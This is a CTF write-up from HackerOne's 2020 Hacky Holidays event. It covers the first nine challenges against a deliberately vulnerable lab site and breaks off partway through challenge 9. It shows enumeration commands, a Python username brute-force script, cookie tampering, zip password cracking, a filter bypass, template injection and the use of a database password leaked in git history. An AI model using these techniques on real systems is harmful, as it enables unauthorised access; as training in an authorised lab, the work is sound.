Lucene search

K
hackeroneShubhamz007H1:1067530
HistoryDec 28, 2020 - 5:01 p.m.

h1-ctf: Successfully took down the Grinch and saved the holidays from being ruined

2020-12-2817:01:51
shubhamz007
hackerone.com
26
hackerone
grinch
hackyholidays
gobuster
robots.txt
s3cr3t-ar3a
people-rater

Beginning

HackerOne’s official twitter account posted a tweet on 11th December announcing 12 days of hacky holidays where we have to take down the grinch and prevent him from ruining the Christmas holidays.
{F1132156}

Challenge 1: Something to get started

I visited [https://hackerone.com/h1-ctf][1] to understand the scope of the target.
[1]: https://hackerone.com/h1-ctf β€œhttps://hackerone.com/h1-ctf”
The main target is hackyholidays.h1ctf.com. When I visited the website I was presented a page with just an image and a video of snow.
As I do not what kind of web programming language is being used (like php, asp, python or any), I started by finding common files in web, for this I used gobuster and wordlist from Seclists.

β”Œβ”€[shubham@parrot]─[~]
└──╼ $gobuster dir -u https://hackyholidays.h1ctf.com/ -w /opt/SecLists/Discovery/Web-Content/raft-small-files.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://hackyholidays.h1ctf.com/
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-small-files.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/12 09:50:10  Starting gobuster
===============================================================
/favicon.ico (Status: 200)
/robots.txt (Status: 200)
===============================================================
2020/12/12 09:56:36  Finished
===============================================================
β”Œβ”€[shubham@parrot]─[~]
└──╼ $

I found 2 files, favicon.ico and robots.txt. favicon.ico is favicon that it is a file containing small icon associated with particular website. Next is robots.txt, It is a file used to instruct web robots (search engines like google) how to crawl web pages on website. So, this file may contain some information. So, I browsed [https://hackyholidays.h1ctf.com/robots.txt][2]
[2]: https://hackyholidays.h1ctf.com/robots.txt β€œhttps://hackyholidays.h1ctf.com/robots.txt”

User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48104912-28b0-494a-9995-a203d1e261e7}

And I got the flag.

Challenge 2: Dig deeper

In previous challenge there was a disallowed entry in robots.txt file, so on browsing [https://hackyholidays.h1ctf.com/s3cr3t-ar3a][3] I get the following the contents.
[3]: https://hackyholidays.h1ctf.com/s3cr3t-ar3a β€œhttps://hackyholidays.h1ctf.com/s3cr3t-ar3a”
{F1132259}
So, I started by looking at Elements of the page (Ctrl+Shift+I to open developer tools) and I found that class containing that message has a data-info attribute containing the flag.

<div>
        <p>I've moved this page to keep people out!</p>
        <p>If you're allowed access you'll know where to look for the proper page!</p>
</div>

Challenge 3: People Rater

Description: The grinch likes to keep lists of all the people he hates. This year he’s gone digital but there might be a record that doesn’t belong!
On browsing [https://hackyholidays.h1ctf.com/people-rater][4] I got bunch of names of people, upon clicking any I got a popup saying β€œAwefulβ€œ, so I started looking at source code of page and found that the sends an request to /people-rater/entry?id= with our supplied id.
[4]:https://hackyholidays.h1ctf.com/people-rater β€œhttps://hackyholidays.h1ctf.com/people-rater”

$('.thelist').on("click", "a", function(){
        $.getJSON('/people-rater/entry?id=' + $(this).attr('data-id'), function(resp){
            alert( resp.rating );
        }).fail(function(){
            alert('Request failed');
        });
    });

So, I started intercepting the requests with burp suite, upon clicking first name I got this request GET /people-rater/entry?id=eyJpZCI6Mn0=. That seems a base64 encoding so I went to decoder section of burp suite and decoded it as base64, I got a value as {"id":2} , as it is starting with 2 I must check the result of {"id":1} so I base64 encoded it eyJpZCI6MX0= and sent it with id parameter in request as this parameter is controlled by us.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 15 Dec 2020 05:18:04 GMT
Content-Type: application/json
Connection: close
Content-Length: 135
 
{
 "id":"eyJpZCI6MX0=",
 "name":"The Grinch",
"rating":"Amazing in every possible way!",
 "flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}

And got the flag.

Challenge 4: Swag Shop

Description: Get your Grinch Merch! Try and find a way to pull the Grinch’s personal details from the online shop.
I browsed [https://hackyholidays.h1ctf.com/swag-shop][5] and there were some items with purchase button, upon clicking purchase I got a login prompt so I started intercepting requests and see where my requests were being sent. Upon intercepting first request I got /swag-shop/api/purchase with an id and second login request was being sent to /swag-shop/api/login with username and password. As i saw there is an api in play so I started finding all endpoints using gobuster and wordlist from Seclists.
[5]: https://hackyholidays.h1ctf.com/swag-shop β€œhttps://hackyholidays.h1ctf.com/swag-shop”

β”Œβ”€[shubham@parrot]─[~]
└──╼ $gobuster dir -u https://hackyholidays.h1ctf.com/swag-shop/api/ -w /opt/SecLists/Discovery/Web-Content/api/objects.txt --statuscodesblacklist 404
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:                     https://hackyholidays.h1ctf.com/swag-shop/api/
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.0.1
[+] Timeout:                 10s
===============================================================
2020/12/16 11:05:39  Starting gobuster
===============================================================
/sessions (Status: 200)
/user (Status: 400)
===============================================================
2020/12/16 11:07:34  Finished
===============================================================
β”Œβ”€[shubham@parrot]─[~]
└──╼ $

I used –statuscodesblacklist option because by default gobuster uses some predefined codes as filter and as I was finding api can give different response like in this case status 400 which is being filtered in gobuster by default.
Here, I got 2 new endpoints sessions and user, I browsed [https://hackyholidays.h1ctf.com/swag-shop/api/sessions][6] and I got aresponse with bunch of sessions.
[6]: https://hackyholidays.h1ctf.com/swag-shop/api/sessions β€œhttps://hackyholidays.h1ctf.com/swag-shop/api/sessions”

{"sessions":
[
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
"eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
]}

I got base64 encoded sessions, so I have decoded and got user

"{"user":null,"cookie":"ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="}",
"{"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043","cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="}",
"{"user":null,"cookie":"MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="}",
"{"user":null,"cookie":"M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="}",
"{"user":null,"cookie":"MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="}",
"{"user":null,"cookie":"MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="}",
"{"user":null,"cookie":"OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="}"

I also had an endpoint as /api/user so I browsed that ( /swag-shop/api/user ) and got an error saying {"error":"Missing required fields"}
I was missing some parameter like /swag-shop/api/user?parameter=value, using wfuzz to find parameters.

β”Œβ”€[shubham@parrot]─[~]
└──╼ $wfuzz -u https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ=value -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hw 3
********************************************************* Wfuzz 3.0.1 - The Web Fuzzer                         *********************************************************
Target: https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ=value
Total requests: 2588
===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================
000001359:   404        0 L      5 W      40 Ch       "uuid"                                                                               
Total time: 0
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 0
β”Œβ”€[shubham@parrot]─[~]
└──╼ $

--hw 3 to filter out results containing above errors. I found an valid parameter uuid and recently got a valid username. Using that and browsing [/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043][7] and got the flag and details of grinch.
[7]: https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043 β€œ/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043”

{
 "uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"username":"grinch",
"address":{
     "line_1":"The Grinch",
     "line_2":"The Cave",
     "line_3":"Mount Crumpit",
     "line_4":"Whoville"
     },
"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}

Challenge 5: Secure Login

Description: Try and find a way past the login page to get to the secret area.
I got a login page on browsing [https://hackyholidays.h1ctf.com/secure-login][8], I tried to enter some default credentials like admin and password but got an error saying β€œInvalid Username”, here webpage was telling me which username is valid and which is invalid, so I can enumerate valid usernames by brute forcing. I have written a python script to do it (We can use tools like hydra but I like writing code for it).
[8]: https://hackyholidays.h1ctf.com/secure-login β€œhttps://hackyholidays.h1ctf.com/secure-login”

import requests
	 
url = "https://hackyholidays.h1ctf.com/secure-login"
users = open("/opt/SecLists/Usernames/Names/names.txt","r")
header= { "Content-Type": "application/x-www-form-urlencoded" }
	 
for line in users:
    user = line.rstrip()
    data = f"username={user}&password=admin"
    print(f"Trying : {user}       ",end='\r', flush=True)
    r = requests.post(url, data=data, headers=header)
    if "Invalid Username" not in r.text:
        print(fβ€œFound Username : {user}”)
        break

Description about code: I am importing a requests module and defining variable for url, creating an object of file with list of usernames in read mode and defining Content-Type header, going through each line in wordlist, stripping newline and spaces from line and defining what data to send (changing username with each iteration and keeping random password) and I send a POST request to given url. If I find string other than Invalid Username in response indicates a valid username, so I print the username and break (I can also find other usernames if I do not break here).
Got a valid username as access and when giving some random password got an error Invalid Password so repeat same steps for password, using rockyou.txt as wordlist for password and got password as computer.
Using access and computer to login and got a page saying No Files To Download and also there was a new cookie with key securelogin which is base64 encoded.
eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0=
I base64 decoded it and got {"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}, admin value is false which is set by webpage, changed it to true, base64 encoded again and replaced the cookie and got following page.
{F1132317}
Downloaded the file and found that it was password protected so I used john the ripper tool to crack the password.

β”Œβ”€[βœ—]─[shubham@parrot]─[~/hackyholidays/securelogin]
└──╼ $zip2john my_secure_files_not_for_you.zip &gt; hash
ver 2.0 efh 5455 efh 7875 my_secure_files_not_for_you.zip/xxx.png PKZIP Encr: 2b chk, TS_chk, cmplen=215105, decmplen=215058, crc=277DEE70
ver 1.0 efh 5455 efh 7875 my_secure_files_not_for_you.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=55, decmplen=43, crc=9DE7C581
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
β”Œβ”€[shubham@parrot]─[~/hackyholidays/securelogin]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hahahaha         (my_secure_files_not_for_you.zip)
1g 0:00:00:00 DONE (2020-12-18 12:41) 33.33g/s 546133p/s 546133c/s 546133C/s total90..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed

First, I extracted the hash from compressed file using zip2john, then I used john with rockyou.txt wordlist to crack the hash.

β”Œβ”€[shubham@parrot]─[~/hackyholidays/securelogin]
└──╼ $unzip my_secure_files_not_for_you.zip 
Archive:  my_secure_files_not_for_you.zip
[my_secure_files_not_for_you.zip] xxx.png password: 
  inflating: xxx.png                 
 extracting: flag.txt                
β”Œβ”€[shubham@parrot]─[~/hackyholidays/securelogin]
└──╼ $cat flag.txt 
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
β”Œβ”€[shubham@parrot]─[~/hackyholidays/securelogin]
└──╼ $

And got the flag.

Challenge 6: My Diary

Description: Hackers! It looks like the Grinch has released his Diary on Grinch Networks. We know he has an upcoming event but he hasn’t posted it on his calendar. Can you hack his diary and find out what it is?
First thing to notice browsing [https://hackyholidays.h1ctf.com/my-diary/][8], the url gets replaces to /my-diary/?template=entries.html. This indicates it is including the file β€œentries.html” in response. I started finding files present on webserver.
[8]: https://hackyholidays.h1ctf.com/my-diary/ β€œhttps://hackyholidays.h1ctf.com/my-diary/”

β”Œβ”€[shubham@parrot]─[~/hackyholidays/mydiary]
└──╼ $gobuster dir -u https://hackyholidays.h1ctf.com/my-diary/ -w /opt/SecLists/Discovery/Web-Content/raft-small-files.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://hackyholidays.h1ctf.com/my-diary/
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-small-files.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/17 23:04:35  Starting gobuster
===============================================================
/index.php (Status: 302)
/. (Status: 302)
===============================================================
2020/12/17 23:10:15  Finished
===============================================================
β”Œβ”€[shubham@parrot]─[~/hackyholidays/mydiary]
└──╼ $

This indicates index.php file is present on webserver, on browsing [index.php][9], got a source code of index.php file.
[9]: https://hackyholidays.h1ctf.com/my-diary/?template=index.php β€œindex.php”

&lt;?php
if( isset($_GET["template"])  ){
        $page = $_GET["template"];
         //remove non allowed characters
         $page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
         //protect admin.php from being read
         $page = str_replace("admin.php","",$page);
        //I've changed the admin file to secretadmin.php for more security!
        $page = str_replace("secretadmin.php","",$page);
        //check file exists
       if( file_exists($page) ){
              echo file_get_contents($page);
        }else{
             //redirect to home
              header("Location: /my-diary/?template=entries.html");
              exit();
         }
}else{
        //redirect to home
        header("Location: /my-diary/?template=entries.html");
exit();

Description about code:
First it checks if it gets any data on GET parameter template, if it gets some data it removes any special character(regular expression used to find any character which is not in a-z, A-Z and 0-9 and replace it with nothing), so we can’t use any special character.
Next it replaces any occurrences of string admin.php in data with nothing.
And then it replaces any occurrences of string secretadmin.php in data with nothing.
It then checks if the page exists or not, if exits it shows contents of that page and exits if the page does not exist it redirects to home page and exits.
In order to get contents of secretadmin.php we can make use of it’s replace function. The replacement only applies once. To explain this in detail, I am using php interactive mode php -a command. Goal is to get secretadmin.php at last.

β”Œβ”€[shubham@parrot]─[~/hackyholidays/mydiary]
└──╼ $php -a
Interactive mode enabled

php &gt; echo preg_replace('/([^a-zA-Z0-9.])/','',"secretasecretaadmin.phpdmin.phpdmin.php");
secretasecretaadmin.phpdmin.phpdmin.php
php &gt; echo str_replace("admin.php","","secretasecretaadmin.phpdmin.phpdmin.php");
secretasecretadmin.phpdmin.php
php &gt; echo str_replace("secretadmin.php","","secretasecretadmin.phpdmin.php");
secretadmin.php
php &gt; 

I sent secretasecretaadmin.phpdmin.phpdmin.php as data, this string does not contain any special character the preg_replace does not affect the data.
On first replace it replaces any occurrences admin.php with nothing so makes data as secretasecretadmin.phpdmin.php.
And finally, when it replaces any occurrences of secretadmin.php with nothing, the final result becomes secretadmin.php.
On browsing [https://hackyholidays.h1ctf.com/my-diary/?template=secretasecretaadmin.phpdmin.phpdmin.php][10] got the flag.
[10]: https://hackyholidays.h1ctf.com/my-diary/?template=secretasecretaadmin.phpdmin.phpdmin.php β€œhttps://hackyholidays.h1ctf.com/my-diary/?template=secretasecretaadmin.phpdmin.phpdmin.php”
{F1132350}

Challenge 7: Hate Mail Generator

Description: Sending letters is so slow! Now the grinch sends his hate mail by email campaigns! Try and find the hidden flag!
On browsing [https://hackyholidays.h1ctf.com/hate-mail-generator][11], got the following page.
[11]: https://hackyholidays.h1ctf.com/hate-mail-generator β€œhttps://hackyholidays.h1ctf.com/hate-mail-generator”
{F1132356}
On clicking Guess What got the page,
{F1132361}
It seems that it is some kind of template. It is including header and footer template using variable template like {{template:name of template}} and also it is including the name using {{name}}. Upon clicking browse it just shows header and footer templates and name is replaced by Bob.
When I clicked create new and got a page where I can create new template but can’t create new a it says Sorry but you've run out of credits on clicking create but I can use preview option so I started playing with that request.

POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
	 
preview_markup=Hello {{name}} ....&preview_data={"name":"Alice","email":"[email protected]"}

New parameter preview_data with some predefined value. From predefined message from grinch 'templateparameter was used, so I tried including it with some random value and sending request with datapreview_markup={{template:abc}}&preview_data={β€œname":β€œAlice”,β€œemail”:"[email protected]”}and got response asCannot find template file /templates/abcindicating it is fetching from /templates directory, so I browsed [https://hackyholidays.h1ctf.com/hate-mail-generator/templates/][12] and got some templates. {F1132391} I already know the templates from grinch from predefined message so my aim is to get template38dhs_admins_only_header.htmlso I tried including it using request datapreview_markup={{template:38dhs_admins_only_header.html}}&preview_data={β€œname":β€œAlice”,β€œemail”:"[email protected]”}but got a responseYou do not have access to the file 38dhs_admins_only_header.htmlso need to bypass the restriction to include that template. [12]: https://hackyholidays.h1ctf.com/hate-mail-generator/templates/ "https://hackyholidays.h1ctf.com/hate-mail-generator/templates/" I started tampering withpreview_dataparameter It expects a JSON data with key:value format. Intemplate_markupparameter whatever I put{{something}}it tries to find it’s value inpreview_dataand replaces it there. For example, if I send request with datapreview_markup=Hi {{newitem}}&preview_data={β€œname”:β€œAlice”,β€œnewitem”:β€œcraeteditem”}got response asHi craeteditem. As I directly did not have access to admin template, I defined it in preview_dataand so when application replaces the key by its respective value, application finds template variable and loads the template for me, so I sent the request likepreview_markup={{givetemplate}}&preview_data={β€œname”:β€œAlice”,β€œgivetemplate”:β€œ{{template:38dhs_admins_only_header.html}}”}. First the {{givetemplate}}is replaced by{{template:38dhs_admins_only_header.html}}` and again when the application finds the defined template it processes it and loaded the template for me and I got the flag.
{F1132400}

Challenge 8: Forum

Description: The Grinch thought it might be a good idea to start a forum but nobody really wants to chat to him. He keeps his best posts in the Admin section but you’ll need a valid login to access that!
I visited [https://hackyholidays.h1ctf.com/forum][13] and got the following page.
{F1132407}
Inside Chirstmas!!! There was 1 post with 2 comments but nothing special. So I did a directory search and got the results as,

β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum]
└──╼ $gobuster dir -u https://hackyholidays.h1ctf.com/forum -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://hackyholidays.h1ctf.com/forum
[+] Threads:        50
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/22 09:38:43 Starting gobuster
===============================================================
/login (Status: 200)
/1 (Status: 200)
/2 (Status: 200)
/phpmyadmin (Status: 200)
===============================================================
2020/12/22 09:43:05 Finished
===============================================================
β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum]
└──╼ $

As I did not have any credentials, I was completely lost here so looked at tweets from hackerone and there was comment that this was created by @adamtlangley so I started looking at his github profile and found an interesting thing [here][14]
[14]: https://github.com/Grinch-Networks/forum β€œhttps://github.com/Grinch-Networks/forum”
{F1132415}
[13]: https://hackyholidays.h1ctf.com/forum β€œhttps://hackyholidays.h1ctf.com/forum”
So I cloned it locally, whenever I get any repository first thing to check is always the history.

β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum]
└──╼ $git clone https://github.com/Grinch-Networks/forum
Cloning into 'forum'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (46/46), done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 46 (delta 17), reused 39 (delta 13), pack-reused 0
Receiving objects: 100% (46/46), 11.55 KiB | 5.78 MiB/s, done.
Resolving deltas: 100% (17/17), done.
β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum]
└──╼ $cd forum
β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum/forum]
└──╼ $git log
commit d865b522fb91ecd286e573687ec8c7df2abd13ba (HEAD -&gt; main, origin/main, origin/HEAD)
Author: Adam &lt;adam@umbrella.info&gt;
Date:   Mon Dec 7 17:15:58 2020 +0000

    Added user login and session management

commit efb92ef3f561a957caad68fca2d6f8466c4d04ae
Author: Adam &lt;adam@umbrella.info&gt;
Date:   Mon Dec 7 16:36:07 2020 +0000

    small fix

commit 07799dce61d7c3add39d435bdac534097de404dc
Author: Adam &lt;adam@umbrella.info&gt;
Date:   Mon Dec 7 16:33:32 2020 +0000

    Initial Code Commit

commit 8adaca3ae2e412b163bb44a4b6d94b0a57398d02
Author: adamtlangley &lt;adamtlangley@gmail.com&gt;
Date:   Mon Dec 7 14:20:49 2020 +0000

    Initial commit
β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum/forum]
└──╼ $

Found a commit with comment small fix so instantly checked

β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum/forum]
└──╼ $git show efb92ef3f561a957caad68fca2d6f8466c4d04ae
commit efb92ef3f561a957caad68fca2d6f8466c4d04ae
Author: Adam &lt;[email protected]&gt;
Date:   Mon Dec 7 16:36:07 2020 +0000

    small fix

diff --git a/models/Db.php b/models/Db.php
index 5bea1f5..1dc435c 100755
--- a/models/Db.php
+++ b/models/Db.php
 -131,7 +131,7  class Db {
      */
     static public function read(){
         if( gettype(self::$read) == 'string' ) {
-            self::$read = new DbConnect( false, 'forum', 'forum','6HgeAZ0qC9T6CQIqJpD' );
+            self::$read = new DbConnect( false, '', '','' );
         }
         return self::$read;
     }
 -146,7 +146,7 class Db {
      */
     static public function write(){
         if( gettype(self::$write) == 'string' ) {
-            self::$write = new DbConnect( true,  'forum', 'forum','6HgeAZ0qC9T6CQIqJpD' );
+            self::$write = new DbConnect( true,  '', '','' );
         }
         return self::$write;
     }
β”Œβ”€[shubham@parrot]─[~/hackyholidays/forum/forum]
└──╼ $

Database password in plain text. Recently I also got phpmyadmin directory and it’s administration tool for MySQL and MariaDB so used this credentials to login there.
Using username=forum and password=6HgeAZ0qC9T6CQIqJpD on [phpmyadmin][15]
[15]: https://hackyholidays.h1ctf.com/forum/phpmyadmin β€œphpmyadmin”
{F1132423}
Got 2 hashes so searched them on [hashes.org][16]
[16]: https://hashes.org/search.php β€œhashes.org”
{F1132441}
Got the password of grinch asBahHumbug so logged in on [login][17] page and got the flag inside secret post.
[17]: https://hackyholidays.h1ctf.com/forum/login β€œlogin”
{F1132444}

Challenge 9: Evil Quiz

Description: Just how evil are you? Take the quiz and see! Just don’t go poking around the admin area!
I visited [https://hackyholidays.h1ctf.com/evil-quiz][18] and got a page asking name, I entered name as admin and got a page asking some questions, answered them and got this page.
[18]: https://hackyholidays.h1ctf.com/evil-quiz β€œhttps://hackyholidays.h1ctf.com/evil-quiz”
{F1132461}
It indicates that it is doing some kind query against the name I supplied, so I tried injecting it with admin’ and got the result as
{F1132468}
